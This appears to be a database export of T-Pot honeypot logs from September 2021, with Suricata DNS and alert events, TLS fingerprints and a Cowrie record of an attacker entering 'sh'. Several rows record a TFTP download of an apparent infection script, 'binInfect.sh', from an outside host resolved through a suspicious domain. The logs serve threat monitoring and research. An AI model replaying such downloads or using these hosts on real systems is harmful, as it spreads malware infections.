"2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1167734763433403, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49136, "timestamp": "2021-09-20T11:25:56.931012Z", "@timestamp": "2021-09-20T11:25:56.931Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29413	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:56.987593+03	2021-09-20 14:30:04.100524+03	{"_id": "ZQb0AnwBvYTbRNuEnTVh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35196, "dest_port": 443, "timestamp": "2021-09-20T11:25:56.987593", "@timestamp": "2021-09-20T11:25:56.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29414	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:56.929211+03	2021-09-20 14:30:04.101524+03	{"_id": "YQb0AnwBvYTbRNuEnDUx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 21927, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1167734763433403, "@version": "1", "in_iface": "enp5s0", "src_port": 49136, "dest_port": 53, "timestamp": "2021-09-20T11:25:56.929211Z", "@timestamp": "2021-09-20T11:25:56.929Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29415	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:25:57.416394+03	2021-09-20 14:30:04.102524+03	{"_id": "Zwb0AnwBvYTbRNuEnTVh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35198, "timestamp": "2021-09-20T11:25:57.416394", "@timestamp": "2021-09-20T11:25:57.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29416	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:57.84398+03	2021-09-20 14:30:04.103523+03	{"_id": "dAb0AnwBvYTbRNuEoDUb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 44943, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 294344573968588, "@version": "1", "in_iface": "enp5s0", "src_port": 46660, "dest_port": 53, "timestamp": "2021-09-20T11:25:57.843980Z", "@timestamp": "2021-09-20T11:25:57.843Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29417	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:57.845454+03	2021-09-20 14:30:04.104523+03	{"_id": "dwb0AnwBvYTbRNuEoDUb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 91, "bytes_toserver": 126}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:25:57.845454Z", "@timestamp": "2021-09-20T11:25:57.845Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29418	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:25:57.326526+03	2021-09-20 14:30:04.105525+03	{"_id": "ZAb0AnwBvYTbRNuEnDUy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42346, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1089, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 719447552030395, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49354, "timestamp": "2021-09-20T11:25:57.326526Z", "@timestamp": "2021-09-20T11:25:57.326Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29419	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:25:57.027906+03	2021-09-20 14:30:04.107523+03	{"_id": "Zgb0AnwBvYTbRNuEnTVh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35196, "timestamp": "2021-09-20T11:25:57.027906", "@timestamp": "2021-09-20T11:25:57.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29420	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:51.518556+03	2021-09-20 14:30:04.108523+03	{"_id": "JQb0AnwBvYTbRNuEhDW8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 60795, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 425064050715036, "@version": "1", "in_iface": "enp5s0", "src_port": 55484, "dest_port": 53, "timestamp": "2021-09-20T11:25:51.518556Z", "@timestamp": "2021-09-20T11:25:51.518Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29421	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:25:51.318377+03	2021-09-20 14:30:04.109524+03	{"_id": "Jgb0AnwBvYTbRNuEhjX1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "input": "sh", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.command.input", "message": "CMD: sh", "session": "90b855a8ccd2", "@version": "1", "timestamp": "2021-09-20T11:25:51.318377Z", "@timestamp": "2021-09-20T11:25:51.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29422	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:52.454164+03	2021-09-20 14:30:04.110524+03	{"_id": "KQb0AnwBvYTbRNuEiDWl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 27288, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 460319289830932, "@version": "1", "in_iface": "enp5s0", "src_port": 41772, "dest_port": 53, "timestamp": "2021-09-20T11:25:52.454164Z", "@timestamp": "2021-09-20T11:25:52.454Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29423	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:02.855398+03	2021-09-20 14:30:04.111524+03	{"_id": "fAb0AnwBvYTbRNuEszWl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "dest_port": 69, "timestamp": "2021-09-20T11:26:02.855398Z", "@timestamp": "2021-09-20T11:26:02.855Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29424	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:26:03.033612+03	2021-09-20 14:30:04.113523+03	{"_id": "fgb0AnwBvYTbRNuEszWl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 273, "bytes_toserver": 189}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 872530923536644, "payload": "RQAAMbLcQAAxEb1PwKgUdG1olwvKQwBFAB0GLwABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:26:03.033612Z", "@timestamp": "2021-09-20T11:26:03.033Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1..@.1..O...tmh...C.E.../..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29430	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:02.85262+03	2021-09-20 14:30:04.121524+03	{"_id": "fQb0AnwBvYTbRNuEszWl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62045, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 44544981336716, "@version": "1", "in_iface": "enp5s0", "src_port": 48364, "dest_port": 53, "timestamp": "2021-09-20T11:26:02.852620Z", "@timestamp": "2021-09-20T11:26:02.852Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29425	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:12.874148+03	2021-09-20 14:30:04.114523+03	{"_id": "iAb0AnwBvYTbRNuE2jW6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 364, "bytes_toserver": 315}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:26:12.874148Z", "@timestamp": "2021-09-20T11:26:12.874Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29426	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:26:13.053528+03	2021-09-20 14:30:04.116524+03	{"_id": "iwb0AnwBvYTbRNuE2jW7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 455, "bytes_toserver": 315}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 872530923536644, "payload": "RQAAMbqiQAAxEbWJwKgUdG1olwvKQwBFAB0GLwABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:26:13.053528Z", "@timestamp": "2021-09-20T11:26:13.053Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1..@.1......tmh...C.E.../..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29427	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:02.854964+03	2021-09-20 14:30:04.117524+03	{"_id": "egb0AnwBvYTbRNuEszWl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62045, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 590, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 44544981336716, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48364, "timestamp": "2021-09-20T11:26:02.854964Z", "@timestamp": "2021-09-20T11:26:02.854Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29428	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:12.873702+03	2021-09-20 14:30:04.118524+03	{"_id": "hwb0AnwBvYTbRNuE2jW6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49068, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 580, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1372177355262586, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42929, "timestamp": "2021-09-20T11:26:12.873702Z", "@timestamp": "2021-09-20T11:26:12.873Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29429	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:26:07.864525+03	2021-09-20 14:30:04.120524+03	{"_id": "ggb0AnwBvYTbRNuExzUv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 35035, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 585, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 779392411184451, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56195, "timestamp": "2021-09-20T11:26:07.864525Z", "@timestamp": "2021-09-20T11:26:07.864Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29431	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:02.855398+03	2021-09-20 14:30:04.122525+03	{"_id": "ewb0AnwBvYTbRNuEszWl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 182, "bytes_toserver": 189}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:26:02.855398Z", "@timestamp": "2021-09-20T11:26:02.855Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29432	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:07.865015+03	2021-09-20 14:30:04.123525+03	{"_id": "gQb0AnwBvYTbRNuExzUv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 273, "bytes_toserver": 252}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:26:07.865015Z", "@timestamp": "2021-09-20T11:26:07.865Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29433	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:12.871034+03	2021-09-20 14:30:04.125523+03	{"_id": "igb0AnwBvYTbRNuE2jW7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49068, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1372177355262586, "@version": "1", "in_iface": "enp5s0", "src_port": 42929, "dest_port": 53, "timestamp": "2021-09-20T11:26:12.871034Z", "@timestamp": "2021-09-20T11:26:12.871Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29434	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:07.865015+03	2021-09-20 14:30:04.126524+03	{"_id": "gwb0AnwBvYTbRNuExzUw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "dest_port": 69, "timestamp": "2021-09-20T11:26:07.865015Z", "@timestamp": "2021-09-20T11:26:07.865Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29435	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:12.874148+03	2021-09-20 14:30:04.127523+03	{"_id": "iQb0AnwBvYTbRNuE2jW7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "dest_port": 69, "timestamp": "2021-09-20T11:26:12.874148Z", "@timestamp": "2021-09-20T11:26:12.874Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
